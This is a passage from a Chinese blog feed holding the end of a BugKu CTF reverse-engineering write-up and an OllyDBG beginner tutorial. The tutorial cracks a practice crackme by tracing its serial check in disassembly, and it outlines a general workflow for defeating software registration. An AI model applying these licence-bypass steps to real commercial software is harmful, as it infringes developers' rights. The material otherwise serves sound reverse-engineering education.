src="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1OTcwODU4,size_16,color_FFFFFF,t_70.png" class="lazyload placeholder" data-srcset="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1OTcwODU4,size_16,color_FFFFFF,t_70.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="在这里插入图片描述"><br>点击扳手一样的图标,进行操作<br><img src="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1OTcwODU4,size_16,color_FFFFFF,t_70-16657989974041.png" class="lazyload placeholder" data-srcset="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1OTcwODU4,size_16,color_FFFFFF,t_70-16657989974041.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="在这里插入图片描述"><br><img src="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/20210420200510540.png" class="lazyload placeholder" data-srcset="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/20210420200510540.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="在这里插入图片描述"></p><p>勾选Shell integration,外壳整合,再点击0k<br><img src="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1OTcwODU4,size_16,color_FFFFFF,t_70-16657989974042.png" class="lazyload placeholder" data-srcset="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1OTcwODU4,size_16,color_FFFFFF,t_70-16657989974042.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="在这里插入图片描述"><br>为了方便,可将语言选为Chinese Gb<br><img src="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1OTcwODU4,size_16,color_FFFFFF,t_70-16657989974043.png" class="lazyload placeholder" data-srcset="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1OTcwODU4,size_16,color_FFFFFF,t_70-16657989974043.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="在这里插入图片描述"></p><p>点击Rip这个按钮,进行选择,这里这么多按钮,最后All in One是全部提取,点击<br><img src="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1OTcwODU4,size_16,color_FFFFFF,t_70-16657989974044.png" class="lazyload placeholder" data-srcset="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1OTcwODU4,size_16,color_FFFFFF,t_70-16657989974044.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="在这里插入图片描述"><br><img src="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1OTcwODU4,size_16,color_FFFFFF,t_70-16657989974055.png" class="lazyload placeholder" data-srcset="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1OTcwODU4,size_16,color_FFFFFF,t_70-16657989974055.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="在这里插入图片描述"><br><img src="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1OTcwODU4,size_16,color_FFFFFF,t_70-16657989974056.png" class="lazyload placeholder" data-srcset="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1OTcwODU4,size_16,color_FFFFFF,t_70-16657989974056.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="在这里插入图片描述"></p><p>可以看到脱壳信息:not packed</p><p><img src="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/uTools_1665799446900.png" class="lazyload placeholder" data-srcset="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/uTools_1665799446900.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1665799446900"></p><blockquote><p>参考: <a href="https://www.cnblogs.com/0yst3r-2046/p/12933667.html">https://www.cnblogs.com/0yst3r-2046/p/12933667.html</a></p><p><a href="https://blog.csdn.net/qq_45970858/article/details/115917316">https://blog.csdn.net/qq_45970858/article/details/115917316</a></p><p>题目: <a href="https://ctf.bugku.com/challenges/detail/id/99.html">https://ctf.bugku.com/challenges/detail/id/99.html</a></p></blockquote>]]></content>
<summary type="html"><h1 id="BugKu-入门逆向"><a href="#BugKu-入门逆向" class="headerlink" title="BugKu-入门逆向"></a>BugKu-入门逆向</h1><h2 id="使用IDA进行破解"><a href="#使用IDA进行破解" c</summary>
<category term="CTF" scheme="http://example.com/tags/CTF/"/>
<category term="OllyDBG" scheme="http://example.com/tags/OllyDBG/"/>
<category term="逆向" scheme="http://example.com/tags/%E9%80%86%E5%90%91/"/>
<category term="IDA" scheme="http://example.com/tags/IDA/"/>
</entry>
<entry>
<title>OllyDBG完美教程(超强入门级)</title>
<link href="http://example.com/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/"/>
<id>http://example.com/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/</id>
<published>2022-10-02T12:37:59.000Z</published>
<updated>2022-10-02T12:47:17.877Z</updated>
<content type="html"><![CDATA[<h1 id="OllyDBG-完美教程-超强入门级"><a href="#OllyDBG-完美教程-超强入门级" class="headerlink" title="OllyDBG 完美教程(超强入门级)"></a><strong>OllyDBG</strong> <strong>完美教程</strong>(超强入门级)</h1><h2 id="基本结构与配置"><a href="#基本结构与配置" class="headerlink" title="基本结构与配置"></a>基本结构与配置</h2><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002203248501.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002203248501.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002203248501"></p><ul><li><p><strong>反汇编窗口</strong>:显示被调试程序的反汇编代码,<strong>标题栏上的地址、 HEX 数据、反汇编、注释</strong>(可以通过在窗口中右击出现的菜单 <em>界面选项->隐藏标题</em> 或 <em>显示标题</em> 来进行切换是否显示)。用鼠标左键点击注释标签可以切换注释显示的方式。 </p></li><li><p><strong>寄存器窗口</strong>:显示当前所选线程的 CPU 寄存器内容。同样点击标签 <em>寄存器 (FPU)</em> 可以切换显示寄存器的方式。 </p></li><li><p><strong>信息窗口</strong>:显示反汇编窗口中选中的第一个命令的参数及一些跳转目标地址、字串等。 </p></li><li><p><strong>数据窗口</strong>:显示内存或文件的内容。右键菜单可用于切换显示方式。 </p></li><li><p><strong>堆栈窗口</strong>:显示当前线程的堆栈。 </p></li></ul><h3 id="修改UDD目录"><a href="#修改UDD目录" class="headerlink" title="修改UDD目录"></a>修改UDD目录</h3><p>这个 UDD 目录的作用是保存你调试的工作。比如你调试一个软件,设置了断点,添加了注释,一次没做完,这时 OllyDBG 就会把你所做的工作保存到这个 UDD 目录,以便你下次调试时可以继续以前的工作。如果不设置这个 UDD 目录, OllyDBG 默认是在其安装目录下保存这些后缀名为 udd 的文件,时间长了就会显的很乱,所以还是建议专门设置一个目录来保存这些文件。</p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220929193853185.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220929193853185.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220929193853185"></p><h3 id="插件"><a href="#插件" class="headerlink" title="插件"></a>插件</h3><p>OllyDBG 支持插件功能,插件的安装也很简单,只要把下载的插件(一般是个 DLL 文件)复制到 OllyDBG 安装目录下的 PLUGIN 目录中就可以了, OllyDBG 启动时会自动识别。要注意的是 OllyDBG 1.10 对插件的个数有限制,最多不能超过 32 个,否则会出错。建议插件不要添加的太多。</p><h2 id="基本调试与断点"><a href="#基本调试与断点" class="headerlink" title="基本调试与断点"></a>基本调试与断点</h2><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220929194220880.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220929194220880.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220929194220880"></p><p>调试中我们经常要用到的快捷键有这些: </p><ul><li><p><code>F2</code>:<strong>设置断点</strong>,只要在光标定位的位置(上图中灰色条)按 F2 键即可,再按一次 F2 键则会<strong>删除断点</strong>。(相当于 SoftICE 中的 F9) </p></li><li><p><code>F8</code>:<strong>单步步过</strong>。每按一次这个键<strong>执行一条</strong>反汇编窗口中的指令,遇到 <strong>CALL 等子程序不进入</strong>其代码。(相当于 SoftICE 中的 F10)</p></li><li><code>F7</code>:<strong>单步步入</strong>。功能同单步步过(F8)类似,区别是遇到 <strong>CALL 等子程序时会进入</strong>其中,进入后首先会停留在子程序的第一条指令上。(相当于 SoftICE 中的 F8)</li><li><code>F4</code>:<strong>运行到选定位置</strong>。作用就是直接运行到光标所在位置处暂停。(相当于 SoftICE 中的 F7)</li><li><code>F9</code>:<strong>运行</strong>。按下这个键<strong>如果没有设置相应断点</strong>的话,被调试的程序将<strong>直接开始运行</strong>。(相当于 SoftICE 中的 F5)</li><li><code>CTR+F9</code>:<strong>执行到返回</strong>。此命令<strong>在执行到一个 ret (返回指令)指令时暂停</strong>,<strong>常用于从系统领空返回到我们调试的程序领空</strong>。(相当于 SoftICE 中的 F12)</li><li><code>ALT+F9</code>:<strong>执行到用户代码</strong>。可用于<strong>从系统领空快速返回到我们调试的程序领空</strong>。(相当于 SoftICE 中的 F11) </li></ul><p><em>要开始调试只需设置好断点,找到你感兴趣的代码段再按 F8 或 F7 键来一条条分析指令功能就可以了</em></p><h2 id="软件破解的流程"><a href="#软件破解的流程" class="headerlink" title="软件破解的流程"></a>软件破解的流程</h2><p><strong>软件破解的流程</strong>:拿到一个软件先别接着马上用 OllyDBG 调试,<strong>先运行</strong>一下,有帮助文档的最好先看一下帮助,<strong>熟悉一下软件的使用方法</strong>,再<strong>看看注册的方式</strong>。如果是序列号方式可以先输个假的来试一下,看看有什么反应,也给我们破解留下一些有用的线索。如果没有输入注册码的地方,要考虑一下是不是读取注册表或 Key 文件(一般称 keyfile,就是程序读取一个文件中的内容来判断是否注册),这些可以用其它工具来辅助分析。如果这些都不是,原程序只是一个功能不全的试用版,那要注册为正式版本就要自己来写代码完善了。 </p><p>获得程序的一些基本信息后,还要用查壳的工具来查一下程序是否加了壳,若没壳的话看看程序是什么编译器编的,如 VC、 Delphi、 VB 等。这样的查壳工具有 <strong>PEiD</strong> 和 <strong>FI</strong>。有壳的话我们要尽量脱了壳后再来用 OllyDBG 调试,特殊情况下也可带壳调试。 </p><h3 id="实例讲解"><a href="#实例讲解" class="headerlink" title="实例讲解"></a>实例讲解</h3><p>我们先来运行一下这个 crackme(用 PEiD 检测显示是 Delphi 编的),界面如图: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220929201820212.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220929201820212.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220929201820212"></p><p>这个 crackme 已经把用户名和注册码都输好了,省得我们动手\^_\^。我们在那个“Register now !”按钮上点击一下,将会跳出一个对话框: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220929201941181.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220929201941181.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220929201941181"></p><p>就从这个错误对话框中显示的“Wrong Serial, try again!”来入手。启动 OllyDBG,选择菜单 文件->打开 载入 CrackMe3.exe 文件,我们会停在这里: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220929202052671.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220929202052671.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220929202052671"></p><p>在反汇编窗口中右击,出来一个菜单,我们在 查找->所有参考文本字串 上左键点击: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220929202152100.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220929202152100.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220929202152100"></p><p>现在出来另一个对话框,我们在这个对话框里右击,选择“查找文本”菜单项,输入“Wrong Serial, try again!”的开头单词“Wrong”(注意这里查找内容要区分大小写)来查找,找到一处: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220929202231195.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220929202231195.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220929202231195"></p><p>在我们找到的字串上右击,再在出来的菜单上点击“反汇编窗口中跟随”,我们来到这里: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220929202327817.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220929202327817.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220929202327817"></p><p>为了看看是否还有其他的参考,可以通过选择右键菜单查找参考->立即数,会出来一个对话框: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220929202828003.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220929202828003.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220929202828003"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">00440F79 |. BA 8C104400 MOV EDX,CrackMe3.0044108C ; ASCII "Wrong Serial,try again!"</span><br><span class="line">00440F7E |. A1 442C4400 MOV EAX,DWORD PTR DS:[442C44]</span><br><span class="line">00440F83 |. 8B00 MOV EAX,DWORD PTR DS:[EAX]</span><br><span class="line">00440F85 |. E8 DEC0FFFF CALL CrackMe3.0043D068</span><br><span class="line">00440F8A |. EB 18 JMP SHORT CrackMe3.00440FA4</span><br><span class="line">00440F8C |> 6A 00 PUSH 0</span><br><span class="line">00440F8E |. B9 80104400 MOV ECX,CrackMe3.00441080 ; ASCII "Beggar off!"00440F93 |. BA 8C104400 MOV EDX,CrackMe3.0044108C ; ASCII "Wrong Serial,try again!"</span><br><span class="line">00440F98 |. A1 442C4400 MOV EAX,DWORD PTR DS:[442C44]</span><br><span class="line">00440F9D |. 8B00 MOV EAX,DWORD PTR DS:[EAX]</span><br><span class="line">00440F9F |. E8 C4C0FFFF CALL CrackMe3.0043D068</span><br><span class="line">我们在反汇编窗口中向上滚动一下再看看:</span><br><span class="line">00440F2C |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]</span><br><span class="line">00440F2F |. BA 14104400 MOV EDX,CrackMe3.00441014 ; ASCII "Registered User"</span><br><span class="line">00440F34 |. E8 F32BFCFF CALL CrackMe3.00403B2C ; 关键,要用 F7 跟进去</span><br><span class="line">00440F39 |. 75 51 JNZ SHORT CrackMe3.00440F8C ; 这里跳走就完蛋</span><br><span class="line">00440F3B |. 8D55 FC LEA EDX,DWORD PTR SS:[EBP-4]</span><br><span class="line">00440F3E |. 8B83 C8020000 MOV EAX,DWORD PTR DS:[EBX+2C8]</span><br><span class="line">00440F44 |. E8 D7FEFDFF CALL CrackMe3.00420E20</span><br><span class="line">00440F49 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]</span><br><span class="line">00440F4C |. BA 2C104400 MOV EDX,CrackMe3.0044102C ; ASCII "GFX-754-IER-954"</span><br><span class="line">00440F51 |. E8 D62BFCFF CALL CrackMe3.00403B2C ; 关键,要用 F7 跟进去</span><br><span class="line">00440F56 |. 75 1A JNZ SHORT CrackMe3.00440F72 ; 这里跳走就完蛋</span><br><span class="line">00440F58 |. 6A 00 PUSH 0</span><br><span class="line">00440F5A |. B9 3C104400 MOV ECX,CrackMe3.0044103C ; ASCII "CrackMe cr</span><br><span class="line">acked successfully"</span><br><span class="line">00440F5F |. BA 5C104400 MOV EDX,CrackMe3.0044105C ; ASCII "Congrats! Y</span><br><span class="line">ou cracked this CrackMe!"</span><br><span class="line">00440F64 |. A1 442C4400 MOV EAX,DWORD PTR DS:[442C44]</span><br><span class="line">00440F69 |. 8B00 MOV EAX,DWORD PTR DS:[EAX]</span><br><span class="line">00440F6B |. E8 F8C0FFFF CALL CrackMe3.0043D068</span><br><span class="line">00440F70 |. EB 32 JMP SHORT CrackMe3.00440FA4</span><br><span class="line">00440F72 |> 6A 00 PUSH 000440F74 |. B9 80104400 MOV ECX,CrackMe3.00441080 ; ASCII "Beggar off!"</span><br><span class="line">00440F79 |. BA 8C104400 MOV EDX,CrackMe3.0044108C ; ASCII "Wrong Serial,try again!"</span><br><span class="line">00440F7E |. A1 442C4400 MOV EAX,DWORD PTR DS:[442C44]</span><br><span class="line">00440F83 |. 8B00 MOV EAX,DWORD PTR DS:[EAX]</span><br><span class="line">00440F85 |. E8 DEC0FFFF CALL CrackMe3.0043D068</span><br><span class="line">00440F8A |. EB 18 JMP SHORT CrackMe3.00440FA4</span><br><span class="line">00440F8C |> 6A 00 PUSH 0</span><br><span class="line">00440F8E |. B9 80104400 MOV ECX,CrackMe3.00441080 ; ASCII "Beggar off!"</span><br><span class="line">00440F93 |. BA 8C104400 MOV EDX,CrackMe3.0044108C ; ASCII "Wrong Serial,try again!"</span><br><span class="line">00440F98 |. A1 442C4400 MOV EAX,DWORD PTR DS:[442C44]</span><br><span class="line">00440F9D |. 8B00 MOV EAX,DWORD PTR DS:[EAX]</span><br><span class="line">00440F9F |. E8 C4C0FFFF CALL CrackMe3.0043D068</span><br></pre></td></tr></table></figure><p>注意看一下上面的注释,我在上面标了两个关键点。有人可能要问,你<strong>怎么知道那两个地方是关键点</strong>?其实很简单,我是<strong>根据查看是哪条指令跳到“wrong serial,try again”这条字串对应的指令来决定</strong>的。如果你在 <em>调试选项->CPU</em> 标签中把“<em>显示跳转路径</em>”及其下面的两个“<em>如跳转未实现则显示灰色路径</em>”、 “<em>显示跳转到选定命令的路径</em>”都选上的话,就会看到是从什么地方跳到出错字串处的: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930104939485.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930104939485.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930104939485"></p><p>我们在上图中地址 <strong>00440F2C</strong> 处按 <strong>F2 键设个断点</strong>,现在我们按 <strong>F9 键,程序已运行</strong>起来了。我在程序上面那个编辑框中随便输入一下,如 CCDebuger,下面那个编辑框我还保留为原来的“754-GFX-IER-954”,我们点一下那个“Register now !”按钮,呵, OllyDBG 跳了出来,<strong>暂停在我们下的断点处</strong>。我们看一下信息窗口,你应该发现了你刚才输入的内容了吧?我这里显示是这样: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">堆栈 SS:[0012F9AC]=00D44DB4, (ASCII "CCDebuger")</span><br><span class="line">EAX=00000009</span><br></pre></td></tr></table></figure><p>上面的内存地址 00D44DB4 中就是我们刚才输入的内容,我这里是 CCDebuger。你可以在 堆栈 <code>SS:[0012F9AC]=00D44DB4, (ASCII "CCDebuger")</code> 这条内容上左击选择一下,再点右键,在弹出菜单中选择“数据窗口中跟随数值”,你就会在下面的数据窗口中看到你刚才输入的内容。而 <code>EAX=00000009</code> 指的是你输入<strong>内容的长度</strong>。如我输入的 CCDebuger 是 9 个字符。如下图所示: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930105810498.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930105810498.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930105810498"></p><p>现在我们来按 F8 键一步步分析一下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">00440F2C |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] ; 把我们输入的内容送到EAX,我这里是“CCDebuger”</span><br><span class="line">00440F2F |. BA 14104400 MOV EDX,CrackMe3.00441014 ; ASCII "Registered User"</span><br><span class="line">00440F34 |. E8 F32BFCFF CALL CrackMe3.00403B2C ; 关键,要用 F7 跟进去</span><br><span class="line">00440F39 |. 75 51 JNZ SHORT CrackMe3.00440F8C ; 这里跳走就完蛋</span><br></pre></td></tr></table></figure><p>当我们按 F8 键走到 <code>00440F34 |. E8 F32BFCFF CALL CrackMe3.00403B2C</code> 这一句时,我们按<br>一下 F7 键,进入这个 CALL,进去后光标停在这一句: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930110150046.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930110150046.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930110150046"></p><p>我们所看到的那些 PUSH EBX、 PUSH ESI 等都是调用子程序保存堆栈时用的指令,不用管它,按 F8 键一步步过来,我们只关心关键部分: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">00403B2C /$ 53 PUSH EBX</span><br><span class="line">00403B2D |. 56 PUSH ESI</span><br><span class="line">00403B2E |. 57 PUSH EDI</span><br><span class="line">00403B2F |. 89C6 MOV ESI,EAX ; 把 EAX 内我们输入的用户名送到 ESI</span><br><span class="line">00403B31 |. 89D7 MOV EDI,EDX ; 把 EDX 内的数据“Registered User”送到 